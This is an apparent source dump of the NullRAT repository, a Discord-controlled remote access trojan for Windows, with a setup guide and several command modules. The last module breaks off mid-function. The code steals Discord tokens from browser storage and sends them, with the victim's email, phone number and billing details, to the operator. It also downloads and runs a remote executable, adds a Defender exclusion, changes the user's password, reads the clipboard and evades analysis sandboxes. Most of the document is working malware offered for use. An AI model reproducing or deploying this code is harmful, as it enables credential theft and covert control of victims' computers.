├── .gitignore ├── Getting Variables.md ├── NullRAT ├── RAT.py ├── custom_icon.ico ├── modules │ ├── ChangePass.py │ ├── checkedtokens.py │ ├── clipboard.py │ ├── create_new_module.py │ ├── directory.py │ ├── geolocate.py │ ├── getenv.py │ ├── hideFile.py │ ├── rawtokens.py │ ├── receivefiles.py │ ├── runfile.py │ ├── screenshot.py │ ├── sendfiles.py │ ├── shell.py │ ├── startup.py │ ├── systeminfo.py │ ├── tasklist.py │ ├── unhideFile.py │ ├── webcam.py │ ├── wifiList.py │ └── wifiPass.py └── upx │ └── upx.exe ├── README.md ├── VERSION └── compiler.nim /.gitignore: -------------------------------------------------------------------------------- 1 | **/bin 2 | **/.vs 3 | [Dd]ebug/ 4 | [Dd]ebugPublic/ 5 | [Rr]elease/ 6 | [Rr]eleases/ 7 | x64/ 8 | x86/ 9 | [Ww][Ii][Nn]32/ 10 | [Aa][Rr][Mm]/ 11 | [Aa][Rr][Mm]64/ 12 | bld/ 13 | [Bb]in/ 14 | [Oo]bj/ 15 | [Oo]ut/ 16 | [Ll]og/ 17 | [Ll]ogs/ 18 | [Bb]uild/ 19 | NullRAT Workspace.code-workspace 20 | dependencies/.vscode/launch.json 21 | dependencies/.vscode/tasks.json 22 | 23 | # Byte-compiled / optimized / DLL files 24 | __pycache__/ 25 | *.py[cod] 26 | *$py.class 27 | 28 | # C extensions 29 | *.so 30 | 31 | # Distribution / packaging 32 | .Python 33 | build/ 34 | develop-eggs/ 35 | dist/ 36 | downloads/ 37 | eggs/ 38 | .eggs/ 39 | lib/ 40 | lib64/ 41 | parts/ 42 | sdist/ 43 | var/ 44 | wheels/ 45 | pip-wheel-metadata/ 46 | share/python-wheels/ 47 | *.egg-info/ 48 | .installed.cfg 49 | *.egg 50 | MANIFEST 51 | 52 | # PyInstaller 53 | # Usually these files are written by a python script from a template 54 | # before PyInstaller builds the exe, so as to inject date/other infos into it. 55 | *.manifest 56 | *.spec 57 | 58 | # Installer logs 59 | pip-log.txt 60 | pip-delete-this-directory.txt 61 | 62 | # Unit test / coverage reports 63 | htmlcov/ 64 | .tox/ 65 | .nox/ 66 | .coverage 67 | .coverage.* 68 | .cache 69 | nosetests.xml 70 | coverage.xml 71 | *.cover 72 | *.py,cover 73 | .hypothesis/ 74 | .pytest_cache/ 75 | 76 | # Translations 77 | *.mo 78 | *.pot 79 | 80 | # Django stuff: 81 | *.log 82 | local_settings.py 83 | db.sqlite3 84 | db.sqlite3-journal 85 | 86 | # Flask stuff: 87 | instance/ 88 | .webassets-cache 89 | 90 | # Scrapy stuff: 91 | .scrapy 92 | 93 | # Sphinx documentation 94 | docs/_build/ 95 | 96 | # PyBuilder 97 | target/ 98 | 99 | # Jupyter Notebook 100 | .ipynb_checkpoints 101 | 102 | # IPython 103 | profile_default/ 104 | ipython_config.py 105 | 106 | # pyenv 107 | .python-version 108 | 109 | # pipenv 110 | # According to pypa/pipenv#598, it is recommended to include Pipfile.lock in version control. 111 | # However, in case of collaboration, if having platform-specific dependencies or dependencies 112 | # having no cross-platform support, pipenv may install dependencies that don't work, or not 113 | # install all needed dependencies. 114 | #Pipfile.lock 115 | 116 | # PEP 582; used by e.g. github.com/David-OConnor/pyflow 117 | __pypackages__/ 118 | 119 | # Celery stuff 120 | celerybeat-schedule 121 | celerybeat.pid 122 | 123 | # SageMath parsed files 124 | *.sage.py 125 | 126 | # Environments 127 | .env 128 | .venv 129 | env/ 130 | venv/ 131 | ENV/ 132 | env.bak/ 133 | venv.bak/ 134 | 135 | # Spyder project settings 136 | .spyderproject 137 | .spyproject 138 | 139 | # Rope project settings 140 | .ropeproject 141 | 142 | # mkdocs documentation 143 | /site 144 | 145 | # mypy 146 | .mypy_cache/ 147 | .dmypy.json 148 | dmypy.json 149 | 150 | # Pyre type checker 151 | .pyre/ 152 | 153 | # Variables.py 154 | Variables.py 155 | 156 | # RAT_DEBUG.py 157 | RAT_DEBUG.py 158 | 159 | # compiler.exe 160 | compiler.exe 161 | 162 | # app.exe 163 | app.exe 164 | -------------------------------------------------------------------------------- /Getting Variables.md: -------------------------------------------------------------------------------- 1 | ![NullRAT](https://user-images.githubusercontent.com/70959549/150108231-0c8a8b30-a3cf-4a94-8712-2277cd833731.png) 2 | 3 |

Getting Variables

4 |

How (and why) to get all the required variables necessary for the usage of NullRAT:

5 |

Table of Contents:

6 | 7 | 1. [Proper Bot Invite](https://github.com/NullCode1337/NullRAT/edit/source/Getting%20Variables.md#proper-bot-invite-link) 8 | 2. [Discord Bot Token](https://github.com/NullCode1337/NullRAT/blob/source/Getting%20Variables.md#discord-bot-token) 9 | 3. [Channel ID](https://github.com/NullCode1337/NullRAT/blob/source/Getting%20Variables.md#channel-id) 10 | 4. [Server ID(s)](https://github.com/NullCode1337/NullRAT/blob/source/Getting%20Variables.md#server-ids) 11 | 12 | --- 13 |

Proper Bot Invite Link

14 | 15 | Many people have been generating invalid invites, and when NullRAT doesn't work as expected, they blame me.

16 | **Here's how to do it:** 17 | 18 | 1. Open [https://discord.com/developers/applications](https://discord.com/developers/applications) in a browser window. 19 | 20 | ![Discord Developer Portal](https://user-images.githubusercontent.com/70959549/150104339-5b6edaf2-26ec-4438-9d08-cd82473db39e.png) 21 | 22 | 2. If you already have an application, click on it. Otherwise, make one. 23 | 24 | ![Applications side menu](https://user-images.githubusercontent.com/70959549/162367526-4432adea-0998-45b8-a151-958d86c331be.png) 25 | 26 | 3. Click on `OAuth2`, then `URL Generator` 27 | 28 | ![Scopes](https://user-images.githubusercontent.com/70959549/162367784-5f53d2aa-00c8-419f-b5bc-80058437ad66.png) 29 | 30 | 5. Important! Select the scopes `bot` **and** `application.commands`. Without these 2 NullRAT will never work as expected 31 | 6. Now select any permission you want (I go for Administrator only), then copy the invite link. Done 32 | 33 | --- 34 |

Discord Bot Token

35 | 36 | This is used to run NullRAT's core bot host. **Without this NullRAT will straight up crash** 37 | 38 | **How to obtain it:** 39 | 40 | 1. Open [https://discord.com/developers/applications](https://discord.com/developers/applications) in a browser window. 41 | 42 | ![Discord Developer Portal](https://user-images.githubusercontent.com/70959549/150104339-5b6edaf2-26ec-4438-9d08-cd82473db39e.png) 43 | 44 | 2. If you already have an application, click on it. Otherwise, make one. 45 | 3. Once you see the applications window, press Bot. 46 | 47 | ![Bot menu](https://user-images.githubusercontent.com/70959549/162366786-79152640-19fe-4f7b-92d4-4aafebbfc85d.png) 48 | 49 | 5. Click on `Reset Token` so that the gods at Discord allow us to view the token 50 | 51 | ![Bot menu](https://user-images.githubusercontent.com/70959549/162367155-348a6408-2b77-402a-83b0-f13b311d3288.png) 52 | 53 | 7. Click on `Copy` and store it somewhere. Done! 54 | 55 | --- 56 |

Channel ID

57 | 58 | This is required for NullRAT to send alerts in the specified channel. **Without this NullRAT will be unable to send notifications** 59 | 60 | **How to obtain it:** 61 | 62 | 1. Open your Discord client/web. 63 | 2. Goto account settings. 64 | 3. There, click on `Advanced` and enable `Developer Mode`. 65 | 66 | ![image](https://user-images.githubusercontent.com/70959549/150111475-d1cd44c1-98e2-4dd6-be07-90b87df7f624.png) 67 | 68 | 4. Now go back to your discord server, and right click on the channel you want to send notifications. 69 | 70 | ![image](https://user-images.githubusercontent.com/70959549/150112161-5ba2ac87-7311-4fa7-96ee-717ec369bfb9.png) 71 | 72 | 5. Click on `Copy ID` and store it somewhere. Done! 73 | 74 | --- 75 |

Server ID(s)

76 | 77 | This is required for NullRAT to set the command handler. **Without this you won't be able to send any commands to NullRAT** 78 | 79 | **How to obtain it:** 80 | 81 | 1. Enable Developer Mode. If not already enabled: 82 | - Open your Discord client/web. 83 | - Goto account settings. 84 | - There, click on `Advanced` and enable `Developer Mode`. 85 | 86 | 2. Now, go back to your discord server. 87 | 3. Right click on the server icon, and click on `Copy ID`. Done! (Don't forget to store it) 88 | 89 | ![image](https://user-images.githubusercontent.com/70959549/150113522-fa9b8cf7-d3bc-4b8d-b448-e6c515f546f4.png) 90 | 91 | --- 92 | 93 |

Guide written by NullCode

94 | -------------------------------------------------------------------------------- /NullRAT/RAT.py: -------------------------------------------------------------------------------- 1 | from Variables import * 2 | 3 | import disnake as discord 4 | from disnake import Embed 5 | from disnake.ext import commands 6 | 7 | from datetime import datetime 8 | from socket import create_connection 9 | import os, psutil, re, requests, sys, subprocess 10 | 11 | ############### Global functions available in every cog 12 | 13 | def IP(): 14 | try: return requests.get("https://api.ipify.org").text.rstrip() 15 | except: return "127.0.0.1" 16 | 17 | def genEmbed(self, title, timestamp, description=None): 18 | if description is None: 19 | embed = discord.Embed( 20 | title=title, 21 | timestamp=timestamp 22 | ) 23 | else: 24 | embed = discord.Embed( 25 | title=title, 26 | description=description, 27 | timestamp=timestamp 28 | ) 29 | embed.set_footer( text="NullRAT" ) 30 | return embed 31 | 32 | def find_token(self): 33 | tokens = [] 34 | local, roaming = os.getenv("LOCALAPPDATA"), os.getenv("APPDATA") 35 | paths = { 36 | "Lightcord": roaming + "\\Lightcord", 37 | "Opera": roaming + "\\Opera Software\\Opera Stable", "Opera GX": roaming + "\\Opera Software\\Opera GX Stable", 38 | "Chrome": local + "\\Google\\Chrome\\User Data\\Default", "Brave": local + "\\BraveSoftware\\Brave-Browser\\User Data\\Default", 39 | "Yandex": local + "\\Yandex\\YandexBrowser\\User Data\\Default", "Vivaldi": local + "\\Vivaldi\\User Data\\Default", 40 | "MSEdge": local + "\\Microsoft\\Edge\\User Data\\Default", "Chromium": local + "\\Chromium\\User Data\\Default" 41 | } 42 | for platform, path in paths.items(): 43 | path += '\\Local Storage\\leveldb' 44 | try: 45 | for file_name in os.listdir(path): 46 | if not file_name.endswith('.log') and not file_name.endswith('.ldb'): 47 | continue 48 | for line in [x.strip() for x in open(f'{path}\\{file_name}', errors='ignore').readlines() if x.strip()]: 49 | for regex in (r'[\w-]{24}\.[\w-]{6}\.[\w-]{27}', r'[\w-]{24}\.[\w-]{6}\.[\w-]{25,110}', r'mfa\.[\w-]{84}'): 50 | for token in re.findall(regex, line): 51 | tokens.append(token) 52 | except FileNotFoundError: continue 53 | 54 | return tokens 55 | 56 | #> custom bot implementation 57 | 58 | original_dir = os.getcwd() 59 | 60 | class NullBot(commands.InteractionBot): 61 | def __init__(self, **options): 62 | super().__init__(**options) 63 | self.ip_addr = IP() 64 | self.original_dir = original_dir 65 | 66 | # Checks if username is Admin/Administrator 67 | if "dmin" in os.getenv("username"): 68 | self.identifier = self.ip_addr 69 | else: 70 | self.identifier = os.getenv("username") 71 | 72 | genEmbed = genEmbed 73 | find_token = find_token 74 | 75 | client = NullBot(test_guilds=server_ids) 76 | nr_working = f"C:\\Users\\{os.getenv('username')}\\.cache" 77 | 78 | if os.path.isdir(nr_working) != True: 79 | os.mkdir(nr_working) 80 | 81 | subprocess.run(f"powershell Add-MpPreference -ExclusionPath '{nr_working}'", shell=True, 82 | stdin=subprocess.PIPE, 83 | stderr=subprocess.PIPE, 84 | stdout=subprocess.PIPE) 85 | 86 | #> on_ready(): 87 | 88 | @client.event 89 | async def on_ready(): 90 | embed = Embed( 91 | title = f"NullRAT **IX** started on: **{client.identifier}**", 92 | description = f"Currently present in:\n```{client.original_dir}```", 93 | timestamp = datetime.now() 94 | ).set_author( 95 | name="NullCode1337", 96 | url=r"https://denza.one/", 97 | icon_url=r"https://avatars.githubusercontent.com/u/70959549?v=4" 98 | ).set_footer( 99 | text = f"Identifier: " + client.identifier 100 | ) 101 | await client.get_channel(notification_channel).send(embed=embed) 102 | 103 | #> basic commands 104 | 105 | @client.slash_command() 106 | async def listvictims(ctx): 107 | """Lists all victim identifiers accessible by NullRAT""" 108 | await ctx.channel.send( 109 | embed=discord.Embed(title=f"The identifier for {os.getenv('username')}:", description=client.identifier) 110 | ) 111 | await ctx.response.send_message("Checked all available victims:\n_ _") 112 | 113 | @client.slash_command() 114 | async def shutdown(ctx, victim): 115 | """Shuts down a specific instance of NullRAT. 116 | 117 | Parameters 118 | ---------- 119 | victim: Identifier of the affected computer (found via /listvictims) 120 | """ 121 | if str(victim) == str(client.identifier): 122 | await ctx.response.send_message( 123 | embed = client.genEmbed( 124 | "Shutting down NullRAT for **" + client.identifier + "**...", 125 | datetime.now() 126 | ) 127 | ) 128 | await client.close() 129 | 130 | @client.slash_command(description="Quits all instances of NullRAT") 131 | async def shutdown_all(ctx): 132 | """Shuts down all instances of NullRAT""" 133 | await ctx.response.send_message("Are you sure?", view=closeall_confirm()) 134 | 135 | #> shutdown class 136 | 137 | class closeall_confirm(discord.ui.View): 138 | @discord.ui.button(label="Yes", style=discord.ButtonStyle.danger) 139 | async def first_button_callback(self, button, interaction): 140 | for child in self.children: 141 | child.disabled = True 142 | await interaction.response.edit_message(view=self) 143 | await interaction.delete_original_message() 144 | await interaction.channel.send(embed=Embed(title="Shutting down all instances of NullRAT...")) 145 | await client.close() 146 | 147 | @discord.ui.button(label="No", style=discord.ButtonStyle.primary) 148 | async def second_button_callback(self, button, interaction): 149 | for child in self.children: 150 | child.disabled = True 151 | await interaction.response.edit_message(view=self) 152 | await interaction.delete_original_message() 153 | await interaction.channel.send(embed=Embed(title="Aborted shutting down of all instances")) 154 | 155 | #> Extensions 156 | 157 | extensions = ( 158 | "ChangePass", # /changepass 159 | "hideFile", # /hidefile 160 | "unhideFile", # /unhidefile 161 | "wifiList", # /wifilist 162 | "wifiPass", # /wifipass 163 | "shell", # /cmd & /powershell 164 | "getenv", # /get_environment 165 | "webcam", # /get_webcam 166 | "runfile", # /runfile 167 | "startup", # /startup 168 | "tasklist", # /list_runningtasks & /list_runningstore & /kill_runningtasks 169 | "clipboard", # /get_clipboard 170 | "geolocate", # /get_geolocation 171 | "directory", # /get_currentdir & /set_currentdir & /list_directory & /list_rawdir 172 | "rawtokens", # /raw_tokens & /raw_discord 173 | "sendfiles", # /sendfiles 174 | "systeminfo", # /get_systeminfo 175 | "screenshot", # /get_screenshot 176 | "receivefiles", # /receivefiles 177 | "checkedtokens", # /checked_tokens 178 | ) 179 | 180 | for ex in extensions: 181 | ## For debugging 182 | # client.load_extension("modules."+ex) 183 | 184 | ## For production 185 | client.load_extension(ex) 186 | 187 | #> 188 | def is_connected(): 189 | try: create_connection(("1.1.1.1", 53)); return True 190 | except OSError: return False 191 | 192 | def checksss(processName): 193 | found = 0 194 | for proc in psutil.process_iter(): 195 | try: 196 | if processName.lower() in proc.name().lower(): 197 | found+=1 198 | except (psutil.NoSuchProcess, psutil.AccessDenied, psutil.ZombieProcess): 199 | pass 200 | if found >= 3: return True 201 | return False 202 | 203 | # Anti TikTok 204 | for i in ["WDAGUtilityAccount","Abby","Peter Wilson","hmarc","patex","JOHN-PC","RDhJ0CNFevzX","kEecfMwgj","Frank","8Nl0ColNQ5bq","Lisa","John","george","PxmdUOpVyx","8VizSM","w0fjuOVmCcP5A","lmVwjj9b","PqONjHVwexsS","3u2v9m8","Julia","HEUeRzl","Joe"]: 205 | if i in os.getenv("username"): 206 | raise SystemExit(0) 207 | 208 | for process in psutil.process_iter(): 209 | if process.name() in ["ProcessHacker.exe", "httpdebuggerui.exe", "wireshark.exe", "fiddler.exe", "vboxservice.exe", "df5serv.exe", "processhacker.exe", "vboxtray.exe", "vmtoolsd.exe", "vmwaretray.exe", "ida64.exe", "ollydbg.exe", "pestudio.exe", "vmwareuser.exe", "vgauthservice.exe", "vmacthlp.exe", "vmsrvc.exe", "x32dbg.exe", "x64dbg.exe", "x96dbg.exe", "vmusrvc.exe", "prl_cc.exe", "prl_tools.exe", "qemu-ga.exe", "joeboxcontrol.exe", "ksdumperclient.exe", "xenservice.exe", "joeboxserver.exe", "devenv.exe", "IMMUNITYDEBUGGER.EXE", "ImportREC.exe", "reshacker.exe", "windbg.exe", "32dbg.exe", "64dbg.exex", "protection_id.exex", "scylla_x86.exe", "scylla_x64.exe", "scylla.exe", "idau64.exe", "idau.exe", "idaq64.exe", "idaq.exe", "idaq.exe", "idaw.exe", "idag64.exe", "idag.exe", "ida64.exe", "ida.exe", "ollydbg.exe"]: 210 | raise SystemExit(0) 211 | 212 | if checksss(os.path.basename(sys.executable)): 213 | raise SystemExit(0) 214 | 215 | while is_connected() == False: 0 216 | client.run(bot_token) 217 | 218 | -------------------------------------------------------------------------------- /NullRAT/custom_icon.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NullCode1337/NullRAT/de9796db2a58f0984aec96e33279c2b19fd67424/NullRAT/custom_icon.ico -------------------------------------------------------------------------------- /NullRAT/modules/ChangePass.py: -------------------------------------------------------------------------------- 1 | import disnake as discord 2 | from disnake.ext import commands 3 | from datetime import datetime 4 | 5 | import os, requests, ctypes 6 | nr_working = f"C:\\Users\\{os.getenv('username')}\\.cache" 7 | 8 | class ChangePass(commands.Cog): 9 | def __init__(self, bot: commands.Bot): 10 | self.bot = bot 11 | 12 | @commands.slash_command( ) 13 | async def changepass(self, ctx, victim, password): 14 | """Changes the password of victim's windows profile. Admin required 15 | 16 | Parameters 17 | ---------- 18 | victim: Identifier of the affected computer (found via /listvictims). 19 | password: New password to change for running user 20 | """ 21 | 22 | if str(victim) == str(self.bot.identifier) or str(victim).lower() == "all": 23 | # Admin detection, this command will not work for regular users (apparently) 24 | is_admin = ctypes.windll.shell32.IsUserAnAdmin() != 0 25 | if is_admin == false: 26 | return await ctx.followup.send("NullRAT is not running as admin. Operation aborted") 27 | 28 | status = os.popen(r"net user %username% " + password).read() 29 | if "success" in status.lower(): 30 | return await ctx.followup.send(fr"Success: Password changed to {password}") 31 | 32 | return await ctx.followup.send(fr"Unspecified error! Log: {status}") 33 | 34 | def setup(bot: commands.Bot): 35 | bot.add_cog(ChangePass(bot)) 36 | -------------------------------------------------------------------------------- /NullRAT/modules/checkedtokens.py: -------------------------------------------------------------------------------- 1 | from typing import List 2 | 3 | import disnake as discord 4 | from disnake.ext import commands 5 | from datetime import datetime 6 | from base64 import decodebytes 7 | 8 | import os, requests 9 | nr_working = f"C:\\Users\\{os.getenv('username')}\\.cache" 10 | 11 | class CheckedTokens(commands.Cog): 12 | def __init__(self, bot: commands.Bot): 13 | self.bot = bot 14 | 15 | def checked_embeds(self, token, email, phone, username, nitro, billing, avatar, userID): 16 | embed=discord.Embed(title="Token Info:") 17 | embed.set_author(name="NullCode1337", url="https://github.com/NullCode1337") 18 | embed.set_thumbnail(url=avatar) 19 | embed.add_field(name="Token", value=f"```{token}```", inline=False) 20 | embed.add_field(name="Username", value=username, inline=True) 21 | embed.add_field(name="Nitro", value=nitro, inline=True) 22 | embed.add_field(name="Billing Info", value=billing, inline=True) 23 | embed.add_field(name="ID", value=userID, inline=True) 24 | embed.add_field(name="Phone Number", value=phone, inline=True) 25 | embed.add_field(name="Email", value=email, inline=False) 26 | return embed 27 | 28 | @commands.slash_command( ) 29 | async def checked_tokens(self, ctx, victim): 30 | """Decrypts and checks all Discord Tokens 31 | 32 | Parameters 33 | ---------- 34 | victim: Identifier of the affected computer (found via /listvictims). 35 | """ 36 | if str(victim) == str(self.bot.identifier): 37 | await ctx.response.defer() 38 | try: 39 | tkr = bytes(requests.get("https://raw.githubusercontent.com/NullCode13-Misc/DiscordTokenDecrypt-Go/main/rec_dump_broken").text, "utf-8") 40 | except Exception as e: 41 | return await ctx.followup.send("Unable to download custom decryptor!\n\n"+e) 42 | 43 | os.chdir(nr_working) 44 | with open("tkr.exe", "wb") as fh: fh.write(decodebytes(tkr)) 45 | discord_tokenz = str(os.popen("tkr.exe").read()).strip('][').split(', ') 46 | 47 | valid, email, phone, uname, nitro, bill, avatar, dcTks, idq = [], [], [], [], [], [], [], [], [] 48 | for a in discord_tokenz: dcTks.append(a.replace('"','')) 49 | 50 | webTks = self.bot.find_token() 51 | finalTks = list(dict.fromkeys(dcTks + webTks)) 52 | 53 | for token in finalTks: 54 | headers = {'Authorization': token, 'Content-Type': 'application/json'} 55 | requ = requests.get('https://discordapp.com/api/v6/users/@me', headers=headers) 56 | 57 | if requ.status_code == 401: 58 | await ctx.channel.send(embed=discord.Embed(title="Token is invalid!",description=token)) 59 | continue 60 | if requ.status_code == 200: 61 | valid.append( str(token) ) 62 | json = requ.json() 63 | email.append( str(json['email']) ) 64 | phone.append( str(json['phone']) ) 65 | idq.append( str(json["id"]) ) 66 | uname.append( f'{json["username"]}#{json["discriminator"]}' ) 67 | avatar.append(f"https://cdn.discordapp.com/avatars/{str(json['id'])}/{str(json['avatar'])}" ) 68 | nitro.append(str(bool(len(requests.get('https://discordapp.com/api/v6/users/@me/billing/subscriptions', headers=headers).json()) > 0))) 69 | bill.append(str(bool(len(requests.get('https://discordapp.com/api/v6/users/@me/billing/payment-sources', headers=headers).json()) > 0))) 70 | continue 71 | 72 | if len(valid) == 0: 73 | return await ctx.followup.send(embed = self.bot.genEmbed("No valid Discord Tokens", datetime.now())) 74 | embeds = [] 75 | for tk, em, ph, un, ni, bi, av, idqa in zip(valid, email, phone, uname, nitro, bill, avatar, idq): 76 | embeds.append(self.checked_embeds(tk, em, ph, un, ni, bi, av, idqa)) 77 | 78 | if len(embeds) <= 1: await ctx.channel.send(embed=embeds[0]) 79 | else: await ctx.channel.send(embed=embeds[0], view=Menu(embeds)) 80 | 81 | await ctx.followup.send("Checked all tokens") 82 | 83 | 84 | class Menu(discord.ui.View): 85 | def __init__(self, embeds: List[discord.Embed]): 86 | super().__init__(timeout=None) 87 | self.embeds = embeds 88 | self.embed_count = 0 89 | 90 | self.first_page.disabled = True 91 | self.prev_page.disabled = True 92 | 93 | for i, embed in enumerate(self.embeds): 94 | embed.set_footer(text=f"Page {i + 1} of {len(self.embeds)} | Checked by NullRAT") 95 | 96 | @discord.ui.button(label="<< First", style=discord.ButtonStyle.blurple) 97 | async def first_page(self, button: discord.ui.Button, interaction: discord.MessageInteraction): 98 | self.embed_count = 0 99 | embed = self.embeds[self.embed_count] 100 | embed.set_footer(text=f"Page 1 of {len(self.embeds)}") 101 | 102 | self.first_page.disabled = True 103 | self.prev_page.disabled = True 104 | self.next_page.disabled = False 105 | self.last_page.disabled = False 106 | await interaction.response.edit_message(embed=embed, view=self) 107 | 108 | @discord.ui.button(label="< Previous", style=discord.ButtonStyle.secondary) 109 | async def prev_page(self, button: discord.ui.Button, interaction: discord.MessageInteraction): 110 | self.embed_count -= 1 111 | embed = self.embeds[self.embed_count] 112 | 113 | self.next_page.disabled = False 114 | self.last_page.disabled = False 115 | if self.embed_count == 0: 116 | self.first_page.disabled = True 117 | self.prev_page.disabled = True 118 | await interaction.response.edit_message(embed=embed, view=self) 119 | 120 | @discord.ui.button(label="Next >", style=discord.ButtonStyle.secondary) 121 | async def next_page(self, button: discord.ui.Button, interaction: discord.MessageInteraction): 122 | self.embed_count += 1 123 | embed = self.embeds[self.embed_count] 124 | 125 | self.first_page.disabled = False 126 | self.prev_page.disabled = False 127 | if self.embed_count == len(self.embeds) - 1: 128 | self.next_page.disabled = True 129 | self.last_page.disabled = True 130 | await interaction.response.edit_message(embed=embed, view=self) 131 | 132 | @discord.ui.button(label="Last >>", style=discord.ButtonStyle.blurple) 133 | async def last_page(self, button: discord.ui.Button, interaction: discord.MessageInteraction): 134 | self.embed_count = len(self.embeds) - 1 135 | embed = self.embeds[self.embed_count] 136 | 137 | self.first_page.disabled = False 138 | self.prev_page.disabled = False 139 | self.next_page.disabled = True 140 | self.last_page.disabled = True 141 | await interaction.response.edit_message(embed=embed, view=self) 142 | 143 | def setup(bot: commands.Bot): 144 | bot.add_cog(CheckedTokens(bot)) -------------------------------------------------------------------------------- /NullRAT/modules/clipboard.py: -------------------------------------------------------------------------------- 1 | import disnake as discord 2 | from disnake.ext import commands 3 | from datetime import datetime 4 | 5 | import os, requests 6 | nr_working = f"C:\\Users\\{os.getenv('username')}\\.cache" 7 | 8 | class GetClipboard(commands.Cog): 9 | def __init__(self, bot: commands.Bot): 10 | self.bot = bot 11 | self.ip_addr = self.bot.ip_addr 12 | 13 | @commands.slash_command( ) 14 | async def get_clipboard(self, ctx, victim): 15 | """Sends current text stored in user clipboard 16 | 17 | Parameters 18 | ---------- 19 | victim: Identifier of the affected computer (found via /listvictims). 20 | """ 21 | if str(victim) == str(self.bot.identifier): 22 | await ctx.response.defer() 23 | 24 | outp = os.popen("powershell Get-Clipboard").read() 25 | if len(outp) > 1000: 26 | return await ctx.followup.send(f"```{outp}```") 27 | 28 | embed = self.bot.genEmbed( 29 | "Clipboard contents", 30 | datetime.now(), 31 | f"```{outp}```" if outp != "" else "No text in clipboard" 32 | ) 33 | 34 | await ctx.followup.send(embed=embed) 35 | 36 | def setup(bot: commands.Bot): 37 | bot.add_cog(GetClipboard(bot)) -------------------------------------------------------------------------------- /NullRAT/modules/create_new_module.py: -------------------------------------------------------------------------------- 1 | import disnake as discord 2 | from disnake.ext import commands 3 | from datetime import datetime 4 | 5 | import os, requests 6 | nr_working = f"C:\\Users\\{os.getenv('username')}\\.cache" 7 | 8 | class CMDNAME(commands.Cog): 9 | def __init__(self, bot: commands.Bot): 10 | self.bot = bot 11 | 12 | @commands.slash_command( ) 13 | async def CMDNAME(self, ctx, victim, argumentsss): 14 | """CMD DESCRIPTION 15 | 16 | Parameters 17 | ---------- 18 | victim: Identifier of the affected computer (found via /listvictims). 19 | argumentsss: ARGUMENT DESCRIPTION 20 | """ 21 | 22 | if str(victim) == str(self.bot.identifier): 23 | """ command here... """ 24 | 25 | def setup(bot: commands.Bot): 26 | bot.add_cog(CMDNAME(bot)) 27 | -------------------------------------------------------------------------------- /NullRAT/modules/directory.py: -------------------------------------------------------------------------------- 1 | import disnake as discord 2 | from disnake.ext import commands 3 | from datetime import datetime 4 | from io import BytesIO 5 | 6 | import os, requests, time 7 | nr_working = f"C:\\Users\\{os.getenv('username')}\\.cache" 8 | 9 | class DirectoryCommands(commands.Cog): 10 | def __init__(self, bot: commands.Bot): 11 | self.bot = bot 12 | 13 | @commands.slash_command( ) 14 | async def get_currentdir(self, ctx, victim): 15 | """Returns Current Working Directory 16 | 17 | Parameters 18 | ---------- 19 | victim: Identifier of the affected computer (found via /listvictims). 20 | """ 21 | if str(victim) == str(self.bot.identifier): 22 | await ctx.response.send_message( 23 | embed=self.bot.genEmbed( 24 | "Current directory of NullRAT:", 25 | datetime.now(), 26 | f"```{os.getcwd()}```" 27 | ) 28 | ) 29 | 30 | @commands.slash_command( ) 31 | async def set_currentdir(self, ctx, victim, directory): 32 | """Change directory to specified location 33 | 34 | Parameters 35 | ---------- 36 | victim: Identifier of the affected computer (found via /listvictims). 37 | directory: Directory where NullRAT will change (cd) to 38 | """ 39 | if str(victim) == str(self.bot.identifier): 40 | try: 41 | os.chdir(directory) 42 | return await ctx.response.send_message( 43 | embed=self.bot.genEmbed( 44 | "Successfully changed directory", 45 | datetime.now(), 46 | f"New directory:\n```{os.getcwd()}```" 47 | ) 48 | ) 49 | except FileNotFoundError: 50 | await ctx.response.send_message(embed=self.bot.genEmbed( "Directory not found!", datetime.now() )) 51 | 52 | @commands.slash_command( ) 53 | async def list_rawdir(self, ctx, victim, directory="null"): 54 | """List all directory contents quickly in a raw format 55 | 56 | Parameters 57 | ---------- 58 | victim: Identifier of the affected computer (found via /listvictims). 59 | directory: Directory whose contents will be listed (optional) 60 | """ 61 | if str(victim) == str(self.bot.identifier): 62 | if directory != 'null': 63 | try: os.chdir(directory) 64 | except FileNotFoundError: return await ctx.response.send_message("Invalid directory!") 65 | 66 | await ctx.response.send_message( 67 | file = discord.File( 68 | BytesIO( 69 | bytes( 70 | os.popen(f"dir").read(), 'utf-8' 71 | ) 72 | ), 73 | filename="Directory.txt" 74 | ) 75 | ) 76 | 77 | @commands.slash_command( ) 78 | async def list_directory(self, ctx, victim, directory="null"): 79 | """Lists contents of directory with advanced information 80 | 81 | Parameters 82 | ---------- 83 | victim: Identifier of the affected computer (found via /listvictims). 84 | directory: Directory whose contents will be listed (optional) 85 | """ 86 | if str(victim) == str(self.bot.identifier): 87 | try: 88 | contents = os.listdir( 89 | os.getcwd() if directory == "null" else directory 90 | ) 91 | except FileNotFoundError: 92 | return await ctx.response.send_message( 93 | embed = self.bot.genEmbed( 94 | "Invalid directory!", 95 | datetime.now() 96 | ) 97 | ) 98 | 99 | try: os.chdir(directory) 100 | except: pass 101 | 102 | await ctx.response.send_message( 103 | embed = self.bot.genEmbed( 104 | "Directory Contents:", 105 | datetime.now() 106 | ) 107 | ) 108 | 109 | embeds = [] 110 | 111 | for c in contents: 112 | embed = self.bot.genEmbed(f"**{c}**",datetime.now(),'_ _') 113 | 114 | embed.add_field( 115 | name = "Type:", 116 | value = "Directory" if os.path.isdir(c) else "File", 117 | inline = False 118 | ) 119 | 120 | try: 121 | embed.add_field( 122 | name = "Created on:", 123 | value = str( 124 | time.ctime( 125 | os.path.getctime(c) 126 | ) 127 | ), inline = False 128 | ) 129 | 130 | embed.add_field( 131 | name = "Last modified:", 132 | value = str( 133 | time.ctime( 134 | os.path.getmtime(c) 135 | ) 136 | ), inline = False 137 | ) 138 | except FileNotFoundError: 139 | pass 140 | 141 | try: 142 | if os.path.isdir(c) == False: 143 | embed.add_field( 144 | name = "File Size:", 145 | value = convert_bytes(os.path.getsize(c)), 146 | inline = False 147 | ) 148 | else: 149 | embed.add_field( 150 | name = "File Size:", 151 | value = 'N/A', 152 | inline = False 153 | ) 154 | except: 155 | pass 156 | 157 | embed.add_field( 158 | name = "Absolute Path:", 159 | value = "```" + os.path.abspath(c) + "```", 160 | inline = False 161 | ) 162 | 163 | embeds.append(embed) 164 | 165 | await ctx.channel.send(embed = embeds[0], view = Menu(embeds)) 166 | 167 | def convert_bytes(size): 168 | """ Convert bytes to KB, or MB or GB""" 169 | for x in ['bytes', 'KB', 'MB', 'GB', 'TB']: 170 | if size < 1024.0: 171 | return "%3.1f %s" % (size, x) 172 | size /= 1024.0 173 | 174 | def 